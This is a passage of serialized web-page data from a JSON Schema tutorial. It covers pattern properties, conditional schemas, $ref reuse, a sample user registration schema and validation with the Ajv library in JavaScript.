\"string\" },\n    { \"type\": \"number\" },\n    { \"type\": \"boolean\" }\n  ],\n  \"items\": false\n}\n",[143,279771,279772,279776,279786,279793,279805,279817,279829,279833,279841],{"__ignoreMap":141},[1560,279773,279774],{"class":1562,"line":1563},[1560,279775,23493],{"class":1570},[1560,279777,279778,279780,279782,279784],{"class":1562,"line":337},[1560,279779,278699],{"class":1576},[1560,279781,1663],{"class":1570},[1560,279783,278858],{"class":5634},[1560,279785,11943],{"class":1570},[1560,279787,279788,279791],{"class":1562,"line":343},[1560,279789,279790],{"class":1576},"  \"prefixItems\"",[1560,279792,82876],{"class":1570},[1560,279794,279795,279797,279799,279801,279803],{"class":1562,"line":365},[1560,279796,44815],{"class":1570},[1560,279798,153484],{"class":1576},[1560,279800,1663],{"class":1570},[1560,279802,278726],{"class":5634},[1560,279804,21223],{"class":1570},[1560,279806,279807,279809,279811,279813,279815],{"class":1562,"line":889},[1560,279808,44815],{"class":1570},[1560,279810,153484],{"class":1576},[1560,279812,1663],{"class":1570},[1560,279814,278741],{"class":5634},[1560,279816,21223],{"class":1570},[1560,279818,279819,279821,279823,279825,279827],{"class":1562,"line":1710},[1560,279820,44815],{"class":1570},[1560,279822,153484],{"class":1576},[1560,279824,1663],{"class":1570},[1560,279826,278837],{"class":5634},[1560,279828,27879],{"class":1570},[1560,279830,279831],{"class":1562,"line":1717},[1560,279832,12054],{"class":1570},[1560,279834,279835,279837,279839],{"class":1562,"line":1747},[1560,279836,279668],{"class":1576},[1560,279838,1663],{"class":1570},[1560,279840,37132],{"class":1576},[1560,279842,279843],{"class":1562,"line":2507},[1560,279844,1585],{"class":1570},[11,279846,279848],{"id":279847},"pattern-properties-and-property-names","Pattern Properties and Property Names",[33,279850,279852],{"id":279851},"pattern-properties","Pattern Properties",[16,279854,279855],{},"Validate property names that match a regex pattern:",[135,279857,279859],{"className":23484,"code":279858,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"patternProperties\": {\n    \"^x-\": { \"type\": \"string\" },\n    \"^data-[a-z]+$\": { \"type\": \"integer\" }\n  }\n}\n",[143,279860,279861,279865,279875,279882,279897,279912,279916],{"__ignoreMap":141},[1560,279862,279863],{"class":1562,"line":1563},[1560,279864,23493],{"class":1570},[1560,279866,279867,279869,279871,279873],{"class":1562,"line":337},[1560,279868,278699],{"class":1576},[1560,279870,1663],{"class":1570},[1560,279872,278704],{"class":5634},[1560,279874,11943],{"class":1570},[1560,279876,279877,279880],{"class":1562,"line":343},[1560,279878,279879],{"class":1576},"  \"patternProperties\"",[1560,279881,37098],{"class":1570},[1560,279883,279884,279887,279889,279891,279893,279895],{"class":1562,"line":365},[1560,279885,279886],{"class":1576},"    \"^x-\"",[1560,279888,199586],{"class":1570},[1560,279890,153484],{"class":1576},[1560,279892,1663],{"class":1570},[1560,279894,278726],{"class":5634},[1560,279896,21223],{"class":1570},[1560,279898,279899,279902,279904,279906,279908,279910],{"class":1562,"line":889},[1560,279900,279901],{"class":1576},"    \"^data-[a-z]+$\"",[1560,279903,199586],{"class":1570},[1560,279905,153484],{"class":1576},[1560,279907,1663],{"class":1570},[1560,279909,278826],{"class":5634},[1560,279911,27879],{"class":1570},[1560,279913,279914],{"class":1562,"line":1710},[1560,279915,4959],{"class":1570},[1560,279917,279918],{"class":1562,"line":1717},[1560,279919,1585],{"class":1570},[16,279921,279922,279923,279925,279926,279929],{},"This allows any property starting with ",[143,279924,232521],{}," (like ",[143,279927,279928],{},"x-custom-header",") to be a string.",[33,279931,279933],{"id":279932},"property-names-validation","Property Names Validation",[16,279935,279936],{},"Validate that all property names meet certain criteria:",[135,279938,279940],{"className":23484,"code":279939,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"propertyNames\": {\n    \"pattern\": \"^[a-z][a-zA-Z0-9]*$\"\n  }\n}\n",[143,279941,279942,279946,279956,279963,279973,279977],{"__ignoreMap":141},[1560,279943,279944],{"class":1562,"line":1563},[1560,279945,23493],{"class":1570},[1560,279947,279948,279950,279952,279954],{"class":1562,"line":337},[1560,279949,278699],{"class":1576},[1560,279951,1663],{"class":1570},[1560,279953,278704],{"class":5634},[1560,279955,11943],{"class":1570},[1560,279957,279958,279961],{"class":1562,"line":343},[1560,279959,279960],{"class":1576},"  \"propertyNames\"",[1560,279962,37098],{"class":1570},[1560,279964,279965,279968,279970],{"class":1562,"line":365},[1560,279966,279967],{"class":1576},"    \"pattern\"",[1560,279969,1663],{"class":1570},[1560,279971,279972],{"class":5634},"\"^[a-z][a-zA-Z0-9]*$\"\n",[1560,279974,279975],{"class":1562,"line":889},[1560,279976,4959],{"class":1570},[1560,279978,279979],{"class":1562,"line":1710},[1560,279980,1585],{"class":1570},[11,279982,279984],{"id":279983},"conditional-schemas-ifthenelse","Conditional Schemas: if\u002Fthen\u002Felse",[16,279986,279987],{},"JSON Schema supports conditional validation:",[135,279989,279991],{"className":23484,"code":279990,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"properties\": {\n    \"country\": { \"type\": \"string\" },\n    \"zipCode\": { \"type\": \"string\" }\n  },\n  \"if\": {\n    \"properties\": { \"country\": { \"const\": \"US\" } }\n  },\n  \"then\": {\n    \"properties\": { \"zipCode\": { \"pattern\": \"^[0-9]{5}(-[0-9]{4})?$\" } }\n  },\n  \"else\": {\n    \"properties\": { \"zipCode\": { \"type\": \"string\" } }\n  }\n}\n",[143,279992,279993,279997,280007,280013,280028,280043,280047,280054,280076,280080,280087,280107,280111,280118,280136,280140],{"__ignoreMap":141},[1560,279994,279995],{"class":1562,"line":1563},[1560,279996,23493],{"class":1570},[1560,279998,279999,280001,280003,280005],{"class":1562,"line":337},[1560,280000,278699],{"class":1576},[1560,280002,1663],{"class":1570},[1560,280004,278704],{"class":5634},[1560,280006,11943],{"class":1570},[1560,280008,280009,280011],{"class":1562,"line":343},[1560,280010,278711],{"class":1576},[1560,280012,37098],{"class":1570},[1560,280014,280015,280018,280020,280022,280024,280026],{"class":1562,"line":365},[1560,280016,280017],{"class":1576},"    \"country\"",[1560,280019,199586],{"class":1570},[1560,280021,153484],{"class":1576},[1560,280023,1663],{"class":1570},[1560,280025,278726],{"class":5634},[1560,280027,21223],{"class":1570},[1560,280029,280030,280033,280035,280037,280039,280041],{"class":1562,"line":889},[1560,280031,280032],{"class":1576},"    \"zipCode\"",[1560,280034,199586],{"class":1570},[1560,280036,153484],{"class":1576},[1560,280038,1663],{"class":1570},[1560,280040,278726],{"class":5634},[1560,280042,27879],{"class":1570},[1560,280044,280045],{"class":1562,"line":1710},[1560,280046,11862],{"class":1570},[1560,280048,280049,280052],{"class":1562,"line":1717},[1560,280050,280051],{"class":1576},"  \"if\"",[1560,280053,37098],{"class":1570},[1560,280055,280056,280058,280060,280063,280065,280068,280070,280073],{"class":1562,"line":1747},[1560,280057,279686],{"class":1576},[1560,280059,199586],{"class":1570},[1560,280061,280062],{"class":1576},"\"country\"",[1560,280064,199586],{"class":1570},[1560,280066,280067],{"class":1576},"\"const\"",[1560,280069,1663],{"class":1570},[1560,280071,280072],{"class":5634},"\"US\"",[1560,280074,280075],{"class":1570}," } }\n",[1560,280077,280078],{"class":1562,"line":2507},[1560,280079,11862],{"class":1570},[1560,280081,280082,280085],{"class":1562,"line":2524},[1560,280083,280084],{"class":1576},"  \"then\"",[1560,280086,37098],{"class":1570},[1560,280088,280089,280091,280093,280096,280098,280100,280102,280105],{"class":1562,"line":2529},[1560,280090,279686],{"class":1576},[1560,280092,199586],{"class":1570},[1560,280094,280095],{"class":1576},"\"zipCode\"",[1560,280097,199586],{"class":1570},[1560,280099,279575],{"class":1576},[1560,280101,1663],{"class":1570},[1560,280103,280104],{"class":5634},"\"^[0-9]{5}(-[0-9]{4})?$\"",[1560,280106,280075],{"class":1570},[1560,280108,280109],{"class":1562,"line":2534},[1560,280110,11862],{"class":1570},[1560,280112,280113,280116],{"class":1562,"line":2542},[1560,280114,280115],{"class":1576},"  \"else\"",[1560,280117,37098],{"class":1570},[1560,280119,280120,280122,280124,280126,280128,280130,280132,280134],{"class":1562,"line":2558},[1560,280121,279686],{"class":1576},[1560,280123,199586],{"class":1570},[1560,280125,280095],{"class":1576},[1560,280127,199586],{"class":1570},[1560,280129,153484],{"class":1576},[1560,280131,1663],{"class":1570},[1560,280133,278726],{"class":5634},[1560,280135,280075],{"class":1570},[1560,280137,280138],{"class":1562,"line":2570},[1560,280139,4959],{"class":1570},[1560,280141,280142],{"class":1562,"line":6638},[1560,280143,1585],{"class":1570},[16,280145,280146,280149,280150,280153,280154,280157,280158,280160],{},[47,280147,280148],{},"Logic:"," If ",[143,280151,280152],{},"country"," is \"US\", then ",[143,280155,280156],{},"zipCode"," must match the US format. Otherwise, ",[143,280159,280156],{}," can be any string.",[11,280162,280164],{"id":280163},"reusing-schemas-with-ref","Reusing Schemas with $ref",[16,280166,421,280167,280170],{},[143,280168,280169],{},"$ref"," keyword allows you to reference other schemas, enabling reuse and modularity.",[33,280172,280174],{"id":280173},"internal-references","Internal References",[135,280176,280178],{"className":23484,"code":280177,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"definitions\": {\n    \"address\": {\n      \"type\": \"object\",\n      \"properties\": {\n        \"street\": { \"type\": \"string\" },\n        \"city\": { \"type\": \"string\" }\n      }\n    }\n  },\n  \"properties\": {\n    \"billingAddress\": { \"$ref\": \"#\u002Fdefinitions\u002Faddress\" },\n    \"shippingAddress\": { \"$ref\": \"#\u002Fdefinitions\u002Faddress\" }\n  }\n}\n",[143,280179,280180,280184,280194,280201,280207,280217,280223,280238,280253,280257,280261,280265,280271,280288,280303,280307],{"__ignoreMap":141},[1560,280181,280182],{"class":1562,"line":1563},[1560,280183,23493],{"class":1570},[1560,280185,280186,280188,280190,280192],{"class":1562,"line":337},[1560,280187,278699],{"class":1576},[1560,280189,1663],{"class":1570},[1560,280191,278704],{"class":5634},[1560,280193,11943],{"class":1570},[1560,280195,280196,280199],{"class":1562,"line":343},[1560,280197,280198],{"class":1576},"  \"definitions\"",[1560,280200,37098],{"class":1570},[1560,280202,280203,280205],{"class":1562,"line":365},[1560,280204,82651],{"class":1576},[1560,280206,37098],{"class":1570},[1560,280208,280209,280211,280213,280215],{"class":1562,"line":889},[1560,280210,279135],{"class":1576},[1560,280212,1663],{"class":1570},[1560,280214,278704],{"class":5634},[1560,280216,11943],{"class":1570},[1560,280218,280219,280221],{"class":1562,"line":1710},[1560,280220,279470],{"class":1576},[1560,280222,37098],{"class":1570},[1560,280224,280225,280228,280230,280232,280234,280236],{"class":1562,"line":1717},[1560,280226,280227],{"class":1576},"        \"street\"",[1560,280229,199586],{"class":1570},[1560,280231,153484],{"class":1576},[1560,280233,1663],{"class":1570},[1560,280235,278726],{"class":5634},[1560,280237,21223],{"class":1570},[1560,280239,280240,280243,280245,280247,280249,280251],{"class":1562,"line":1747},[1560,280241,280242],{"class":1576},"        \"city\"",[1560,280244,199586],{"class":1570},[1560,280246,153484],{"class":1576},[1560,280248,1663],{"class":1570},[1560,280250,278726],{"class":5634},[1560,280252,27879],{"class":1570},[1560,280254,280255],{"class":1562,"line":2507},[1560,280256,28244],{"class":1570},[1560,280258,280259],{"class":1562,"line":2524},[1560,280260,11612],{"class":1570},[1560,280262,280263],{"class":1562,"line":2529},[1560,280264,11862],{"class":1570},[1560,280266,280267,280269],{"class":1562,"line":2534},[1560,280268,278711],{"class":1576},[1560,280270,37098],{"class":1570},[1560,280272,280273,280276,280278,280281,280283,280286],{"class":1562,"line":2542},[1560,280274,280275],{"class":1576},"    \"billingAddress\"",[1560,280277,199586],{"class":1570},[1560,280279,280280],{"class":1576},"\"$ref\"",[1560,280282,1663],{"class":1570},[1560,280284,280285],{"class":5634},"\"#\u002Fdefinitions\u002Faddress\"",[1560,280287,21223],{"class":1570},[1560,280289,280290,280293,280295,280297,280299,280301],{"class":1562,"line":2558},[1560,280291,280292],{"class":1576},"    \"shippingAddress\"",[1560,280294,199586],{"class":1570},[1560,280296,280280],{"class":1576},[1560,280298,1663],{"class":1570},[1560,280300,280285],{"class":5634},[1560,280302,27879],{"class":1570},[1560,280304,280305],{"class":1562,"line":2570},[1560,280306,4959],{"class":1570},[1560,280308,280309],{"class":1562,"line":6638},[1560,280310,1585],{"class":1570},[33,280312,280314],{"id":280313},"external-references","External References",[135,280316,280318],{"className":23484,"code":280317,"language":23486,"meta":141,"style":141},"{\n  \"type\": \"object\",\n  \"properties\": {\n    \"user\": {\n      \"$ref\": \"https:\u002F\u002Fexample.com\u002Fschemas\u002Fuser.json\"\n    }\n  }\n}\n",[143,280319,280320,280324,280334,280340,280346,280356,280360,280364],{"__ignoreMap":141},[1560,280321,280322],{"class":1562,"line":1563},[1560,280323,23493],{"class":1570},[1560,280325,280326,280328,280330,280332],{"class":1562,"line":337},[1560,280327,278699],{"class":1576},[1560,280329,1663],{"class":1570},[1560,280331,278704],{"class":5634},[1560,280333,11943],{"class":1570},[1560,280335,280336,280338],{"class":1562,"line":343},[1560,280337,278711],{"class":1576},[1560,280339,37098],{"class":1570},[1560,280341,280342,280344],{"class":1562,"line":365},[1560,280343,279453],{"class":1576},[1560,280345,37098],{"class":1570},[1560,280347,280348,280351,280353],{"class":1562,"line":889},[1560,280349,280350],{"class":1576},"      \"$ref\"",[1560,280352,1663],{"class":1570},[1560,280354,280355],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fschemas\u002Fuser.json\"\n",[1560,280357,280358],{"class":1562,"line":1710},[1560,280359,11612],{"class":1570},[1560,280361,280362],{"class":1562,"line":1717},[1560,280363,4959],{"class":1570},[1560,280365,280366],{"class":1562,"line":1747},[1560,280367,1585],{"class":1570},[11,280369,280371],{"id":280370},"complete-example-user-registration","Complete Example: User Registration",[16,280373,280374],{},"Here's a comprehensive schema for a user registration API:",[135,280376,280378],{"className":23484,"code":280377,"language":23486,"meta":141,"style":141},"{\n  \"$schema\": \"https:\u002F\u002Fjson-schema.org\u002Fdraft\u002F2020-12\u002Fschema\",\n  \"$id\": \"https:\u002F\u002Fexample.com\u002Fschemas\u002Fregistration.json\",\n  \"title\": \"User Registration\",\n  \"description\": \"Schema for user registration payload\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"username\": {\n      \"type\": \"string\",\n      \"minLength\": 3,\n      \"maxLength\": 30,\n      \"pattern\": \"^[a-zA-Z0-9_]+$\"\n    },\n    \"email\": {\n      \"type\": \"string\",\n      \"format\": \"email\",\n      \"maxLength\": 255\n    },\n    \"password\": {\n      \"type\": \"string\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"pattern\": \"^(?=.*[a-z])(?=.*[A-Z])(?=.*\\\\d)(?=.*[@$!%*?&])[A-Za-z\\\\d@$!%*?&]+$\"\n    },\n    \"age\": {\n      \"type\": \"integer\",\n      \"minimum\": 13,\n      \"maximum\": 120\n    },\n    \"termsAccepted\": {\n      \"type\": \"boolean\",\n      \"const\": true\n    }\n  },\n  \"required\": [\"username\", \"email\", \"password\", \"termsAccepted\"],\n  \"additionalProperties\": false\n}\n",[143,280379,280380,280384,280394,280405,280416,280427,280437,280443,280449,280459,280469,280479,280487,280491,280497,280507,280517,280526,280530,280537,280547,280557,280567,280586,280590,280596,280606,280616,280626,280630,280637,280647,280656,280660,280664,280688,280696],{"__ignoreMap":141},[1560,280381,280382],{"class":1562,"line":1563},[1560,280383,23493],{"class":1570},[1560,280385,280386,280388,280390,280392],{"class":1562,"line":337},[1560,280387,278653],{"class":1576},[1560,280389,1663],{"class":1570},[1560,280391,278658],{"class":5634},[1560,280393,11943],{"class":1570},[1560,280395,280396,280398,280400,280403],{"class":1562,"line":343},[1560,280397,278665],{"class":1576},[1560,280399,1663],{"class":1570},[1560,280401,280402],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fschemas\u002Fregistration.json\"",[1560,280404,11943],{"class":1570},[1560,280406,280407,280409,280411,280414],{"class":1562,"line":365},[1560,280408,220010],{"class":1576},[1560,280410,1663],{"class":1570},[1560,280412,280413],{"class":5634},"\"User Registration\"",[1560,280415,11943],{"class":1570},[1560,280417,280418,280420,280422,280425],{"class":1562,"line":889},[1560,280419,278687],{"class":1576},[1560,280421,1663],{"class":1570},[1560,280423,280424],{"class":5634},"\"Schema for user registration payload\"",[1560,280426,11943],{"class":1570},[1560,280428,280429,280431,280433,280435],{"class":1562,"line":1710},[1560,280430,278699],{"class":1576},[1560,280432,1663],{"class":1570},[1560,280434,278704],{"class":5634},[1560,280436,11943],{"class":1570},[1560,280438,280439,280441],{"class":1562,"line":1717},[1560,280440,278711],{"class":1576},[1560,280442,37098],{"class":1570},[1560,280444,280445,280447],{"class":1562,"line":1747},[1560,280446,279128],{"class":1576},[1560,280448,37098],{"class":1570},[1560,280450,280451,280453,280455,280457],{"class":1562,"line":2507},[1560,280452,279135],{"class":1576},[1560,280454,1663],{"class":1570},[1560,280456,278726],{"class":5634},[1560,280458,11943],{"class":1570},[1560,280460,280461,280463,280465,280467],{"class":1562,"line":2524},[1560,280462,279146],{"class":1576},[1560,280464,1663],{"class":1570},[1560,280466,17821],{"class":1576},[1560,280468,11943],{"class":1570},[1560,280470,280471,280473,280475,280477],{"class":1562,"line":2529},[1560,280472,279157],{"class":1576},[1560,280474,1663],{"class":1570},[1560,280476,23995],{"class":1576},[1560,280478,11943],{"class":1570},[1560,280480,280481,280483,280485],{"class":1562,"line":2534},[1560,280482,279168],{"class":1576},[1560,280484,1663],{"class":1570},[1560,280486,279173],{"class":5634},[1560,280488,280489],{"class":1562,"line":2542},[1560,280490,17600],{"class":1570},[1560,280492,280493,280495],{"class":1562,"line":2558},[1560,280494,81333],{"class":1576},[1560,280496,37098],{"class":1570},[1560,280498,280499,280501,280503,280505],{"class":1562,"line":2570},[1560,280500,279135],{"class":1576},[1560,280502,1663],{"class":1570},[1560,280504,278726],{"class":5634},[1560,280506,11943],{"class":1570},[1560,280508,280509,280511,280513,280515],{"class":1562,"line":6638},[1560,280510,279198],{"class":1576},[1560,280512,1663],{"class":1570},[1560,280514,279255],{"class":5634},[1560,280516,11943],{"class":1570},[1560,280518,280519,280521,280523],{"class":1562,"line":11615},[1560,280520,279157],{"class":1576},[1560,280522,1663],{"class":1570},[1560,280524,280525],{"class":1576},"255\n",[1560,280527,280528],{"class":1562,"line":11621},[1560,280529,17600],{"class":1570},[1560,280531,280532,280535],{"class":1562,"line":11633},[1560,280533,280534],{"class":1576},"    \"password\"",[1560,280536,37098],{"class":1570},[1560,280538,280539,280541,280543,280545],{"class":1562,"line":11638},[1560,280540,279135],{"class":1576},[1560,280542,1663],{"class":1570},[1560,280544,278726],{"class":5634},[1560,280546,11943],{"class":1570},[1560,280548,280549,280551,280553,280555],{"class":1562,"line":11672},[1560,280550,279146],{"class":1576},[1560,280552,1663],{"class":1570},[1560,280554,10078],{"class":1576},[1560,280556,11943],{"class":1570},[1560,280558,280559,280561,280563,280565],{"class":1562,"line":19435},[1560,280560,279157],{"class":1576},[1560,280562,1663],{"class":1570},[1560,280564,5324],{"class":1576},[1560,280566,11943],{"class":1570},[1560,280568,280569,280571,280573,280576,280578,280581,280583],{"class":1562,"line":19442},[1560,280570,279168],{"class":1576},[1560,280572,1663],{"class":1570},[1560,280574,280575],{"class":5634},"\"^(?=.*[a-z])(?=.*[A-Z])(?=.*",[1560,280577,9216],{"class":1576},[1560,280579,280580],{"class":5634},"d)(?=.*[@$!%*?&])[A-Za-z",[1560,280582,9216],{"class":1576},[1560,280584,280585],{"class":5634},"d@$!%*?&]+$\"\n",[1560,280587,280588],{"class":1562,"line":19475},[1560,280589,17600],{"class":1570},[1560,280591,280592,280594],{"class":1562,"line":19508},[1560,280593,80620],{"class":1576},[1560,280595,37098],{"class":1570},[1560,280597,280598,280600,280602,280604],{"class":1562,"line":44196},[1560,280599,279135],{"class":1576},[1560,280601,1663],{"class":1570},[1560,280603,278826],{"class":5634},[1560,280605,11943],{"class":1570},[1560,280607,280608,280610,280612,280614],{"class":1562,"line":44203},[1560,280609,279227],{"class":1576},[1560,280611,1663],{"class":1570},[1560,280613,13525],{"class":1576},[1560,280615,11943],{"class":1570},[1560,280617,280618,280621,280623],{"class":1562,"line":44220},[1560,280619,280620],{"class":1576},"      \"maximum\"",[1560,280622,1663],{"class":1570},[1560,280624,280625],{"class":1576},"120\n",[1560,280627,280628],{"class":1562,"line":71501},[1560,280629,17600],{"class":1570},[1560,280631,280632,280635],{"class":1562,"line":71518},[1560,280633,280634],{"class":1576},"    \"termsAccepted\"",[1560,280636,37098],{"class":1570},[1560,280638,280639,280641,280643,280645],{"class":1562,"line":71529},[1560,280640,279135],{"class":1576},[1560,280642,1663],{"class":1570},[1560,280644,278837],{"class":5634},[1560,280646,11943],{"class":1570},[1560,280648,280649,280652,280654],{"class":1562,"line":176459},[1560,280650,280651],{"class":1576},"      \"const\"",[1560,280653,1663],{"class":1570},[1560,280655,23527],{"class":1576},[1560,280657,280658],{"class":1562,"line":176464},[1560,280659,11612],{"class":1570},[1560,280661,280662],{"class":1562,"line":176469},[1560,280663,11862],{"class":1570},[1560,280665,280666,280668,280670,280672,280674,280676,280678,280681,280683,280686],{"class":1562,"line":176489},[1560,280667,279245],{"class":1576},[1560,280669,37187],{"class":1570},[1560,280671,279250],{"class":5634},[1560,280673,1459],{"class":1570},[1560,280675,279255],{"class":5634},[1560,280677,1459],{"class":1570},[1560,280679,280680],{"class":5634},"\"password\"",[1560,280682,1459],{"class":1570},[1560,280684,280685],{"class":5634},"\"termsAccepted\"",[1560,280687,12044],{"class":1570},[1560,280689,280690,280692,280694],{"class":1562,"line":234723},[1560,280691,279343],{"class":1576},[1560,280693,1663],{"class":1570},[1560,280695,37132],{"class":1576},[1560,280697,280698],{"class":1562,"line":234734},[1560,280699,1585],{"class":1570},[11,280701,280703],{"id":280702},"validation-with-ajv","Validation with Ajv",[16,280705,280706,280711],{},[98,280707,280710],{"href":280708,"rel":280709},"https:\u002F\u002Fajv.js.org\u002F",[14956],"Ajv"," (Another JSON Schema Validator) is the most popular JSON Schema validator for JavaScript.",[33,280713,280715],{"id":280714},"installation","Installation",[135,280717,280719],{"className":6951,"code":280718,"language":6953,"meta":141,"style":141},"npm install ajv ajv-formats\n",[143,280720,280721],{"__ignoreMap":141},[1560,280722,280723,280725,280727,280730],{"class":1562,"line":1563},[1560,280724,41383],{"class":1566},[1560,280726,9023],{"class":5634},[1560,280728,280729],{"class":5634}," ajv",[1560,280731,280732],{"class":5634}," ajv-formats\n",[33,280734,244539],{"id":244538},[135,280736,280738],{"className":1607,"code":280737,"language":1609,"meta":141,"style":141},"import Ajv from 'ajv';\nimport addFormats from 'ajv-formats';\n\nconst ajv = new Ajv({ allErrors: true });\naddFormats(ajv); \u002F\u002F Adds format validators like \"email\", \"uri\", etc.\n\nconst schema = {\n  type: 'object',\n  properties: {\n    name: { type: 'string' },\n    age: { type: 'integer', minimum: 0 }\n  },\n  required: ['name']\n};\n\nconst validate = ajv.compile(schema);\n\nconst data = { name: 'John', age: 30 };\nconst valid = validate(data);\n\nif (!valid) {\n  console.log('Validation errors:', validate.errors);\n}\n",[143,280739,280740,280754,280768,280772,280792,280803,280807,280817,280827,280832,280842,280857,280861,280870,280874,280878,280896,280900,280920,280933,280937,280948,280962],{"__ignoreMap":141},[1560,280741,280742,280744,280747,280749,280752],{"class":1562,"line":1563},[1560,280743,8162],{"class":1669},[1560,280745,280746],{"class":1570}," Ajv ",[1560,280748,8168],{"class":1669},[1560,280750,280751],{"class":5634}," 'ajv'",[1560,280753,2228],{"class":1570},[1560,280755,280756,280758,280761,280763,280766],{"class":1562,"line":337},[1560,280757,8162],{"class":1669},[1560,280759,280760],{"class":1570}," addFormats ",[1560,280762,8168],{"class":1669},[1560,280764,280765],{"class":5634}," 'ajv-formats'",[1560,280767,2228],{"class":1570},[1560,280769,280770],{"class":1562,"line":343},[1560,280771,1702],{"emptyLinePlaceholder":363},[1560,280773,280774,280776,280778,280780,280782,280785,280788,280790],{"class":1562,"line":365},[1560,280775,8180],{"class":1669},[1560,280777,280729],{"class":1576},[1560,280779,8186],{"class":1669},[1560,280781,11489],{"class":1669},[1560,280783,280784],{"class":1566}," Ajv",[1560,280786,280787],{"class":1570},"({ allErrors: ",[1560,280789,20533],{"class":1576},[1560,280791,11630],{"class":1570},[1560,280793,280794,280797,280800],{"class":1562,"line":889},[1560,280795,280796],{"class":1566},"addFormats",[1560,280798,280799],{"class":1570},"(ajv); ",[1560,280801,280802],{"class":1649},"\u002F\u002F Adds format validators like \"email\", \"uri\", etc.\n",[1560,280804,280805],{"class":1562,"line":1710},[1560,280806,1702],{"emptyLinePlaceholder":363},[1560,280808,280809,280811,280813,280815],{"class":1562,"line":1717},[1560,280810,8180],{"class":1669},[1560,280812,81575],{"class":1576},[1560,280814,8186],{"class":1669},[1560,280816,1571],{"class":1570},[1560,280818,280819,280822,280825],{"class":1562,"line":1747},[1560,280820,280821],{"class":1570},"  type: ",[1560,280823,280824],{"class":5634},"'object'",[1560,280826,11943],{"class":1570},[1560,280828,280829],{"class":1562,"line":2507},[1560,280830,280831],{"class":1570},"  properties: {\n",[1560,280833,280834,280837,280840],{"class":1562,"line":2524},[1560,280835,280836],{"class":1570},"    name: { type: ",[1560,280838,280839],{"class":5634},"'string'",[1560,280841,21223],{"class":1570},[1560,280843,280844,280847,280850,280853,280855],{"class":1562,"line":2529},[1560,280845,280846],{"class":1570},"    age: { type: ",[1560,280848,280849],{"class":5634},"'integer'",[1560,280851,280852],{"class":1570},", minimum: ",[1560,280854,5285],{"class":1576},[1560,280856,27879],{"class":1570},[1560,280858,280859],{"class":1562,"line":2534},[1560,280860,11862],{"class":1570},[1560,280862,280863,280866,280868],{"class":1562,"line":2542},[1560,280864,280865],{"class":1570},"  required: [",[1560,280867,277300],{"class":5634},[1560,280869,37203],{"class":1570},[1560,280871,280872],{"class":1562,"line":2558},[1560,280873,6607],{"class":1570},[1560,280875,280876],{"class":1562,"line":2570},[1560,280877,1702],{"emptyLinePlaceholder":363},[1560,280879,280880,280882,280885,280887,280890,280893],{"class":1562,"line":6638},[1560,280881,8180],{"class":1669},[1560,280883,280884],{"class":1576}," validate",[1560,280886,8186],{"class":1669},[1560,280888,280889],{"class":1570}," ajv.",[1560,280891,280892],{"class":1566},"compile",[1560,280894,280895],{"class":1570},"(schema);\n",[1560,280897,280898],{"class":1562,"line":11615},[1560,280899,1702],{"emptyLinePlaceholder":363},[1560,280901,280902,280904,280906,280908,280910,280913,280916,280918],{"class":1562,"line":11621},[1560,280903,8180],{"class":1669},[1560,280905,229483],{"class":1576},[1560,280907,8186],{"class":1669},[1560,280909,174142],{"class":1570},[1560,280911,280912],{"class":5634},"'John'",[1560,280914,280915],{"class":1570},", age: ",[1560,280917,23995],{"class":1576},[1560,280919,131020],{"class":1570},[1560,280921,280922,280924,280927,280929,280931],{"class":1562,"line":11633},[1560,280923,8180],{"class":1669},[1560,280925,280926],{"class":1576}," valid",[1560,280928,8186],{"class":1669},[1560,280930,280884],{"class":1566},[1560,280932,136066],{"class":1570},[1560,280934,280935],{"class":1562,"line":11638},[1560,280936,1702],{"emptyLinePlaceholder":363},[1560,280938,280939,280941,280943,280945],{"class":1562,"line":11672},[1560,280940,8052],{"class":1669},[1560,280942,5181],{"class":1570},[1560,280944,27989],{"class":1669},[1560,280946,280947],{"class":1570},"valid) {\n",[1560,280949,280950,280952,280954,280956,280959],{"class":1562,"line":19435},[1560,280951,9717],{"class":1570},[1560,280953,8214],{"class":1566},[1560,280955,1688],{"class":1570},[1560,280957,280958],{"class":5634},"'Validation errors:'",[1560,280960,280961],{"class":1570},", validate.errors);\n",[1560,280963,280964],{"class":1562,"line":19442},[1560,280965,1585],{"class":1570},[33,280967,280969],{"id":280968},"online-validation","Online Validation",[16,280971,280972,280973,30633],{},"You can also validate JSON against schemas using online tools or our ",[98,280974,37777],{"href":37776},[11,280976,280978],{"id":280977},"common-validation-keywords-reference","Common Validation Keywords Reference",[193,280980,280981,280992],{},[196,280982,280983],{},[199,280984,280985,280987,280990],{},[202,280986,59759],{},[202,280988,280989],{},"Applies To",[202,280991,207],{},[211,280993,280994,281006,281017,281028,281043,281059,281070,281086,281102,281113,281124,281136],{},[199,280995,280996,281000,281003],{},[216,280997,280998],{},[143,280999,81641],{},[216,281001,281002],{},"any",[216,281004,281005],{},"Specifies data type",[199,281007,281008,281012,281014],{},[216,281009,281010],{},[143,281011,164019],{},[216,281013,281002],{},[216,281015,281016],{},"Must be one of the specified values",[199,281018,281019,281023,281025],{},[216,281020,281021],{},[143,281022,8180],{},[216,281024,281002],{},[216,281026,281027],{},"Must be exactly this value",[199,281029,281030,281038,281040],{},[216,281031,281032,14237,281035],{},[143,281033,281034],{},"minimum",[143,281036,281037],{},"maximum",[216,281039,81493],{},[216,281041,281042],{},"Range constraints",[199,281044,281045,281053,281056],{},[216,281046,281047,14237,281050],{},[143,281048,281049],{},"minLength",[143,281051,281052],{},"maxLength",[216,281054,281055],{},"string",[216,281057,281058],{},"Length constraints",[199,281060,281061,281065,281067],{},[216,281062,281063],{},[143,281064,101473],{},[216,281066,281055],{},[216,281068,281069],{},"Regex pattern",[199,281071,281072,281080,281083],{},[216,281073,281074,14237,281077],{},[143,281075,281076],{},"minItems",[143,281078,281079],{},"maxItems",[216,281081,281082],{},"array",[216,281084,281085],{},"Array length constraints",[199,281087,281088,281096,281099],{},[216,281089,281090,14237,281093],{},[143,281091,281092],{},"minProperties",[143,281094,281095],{},"maxProperties",[216,281097,281098],{},"object",[216,281100,281101],{},"Object property count",[199,281103,281104,281108,281110],{},[216,281105,281106],{},[143,281107,279097],{},[216,281109,281098],{},[216,281111,281112],{},"Required property 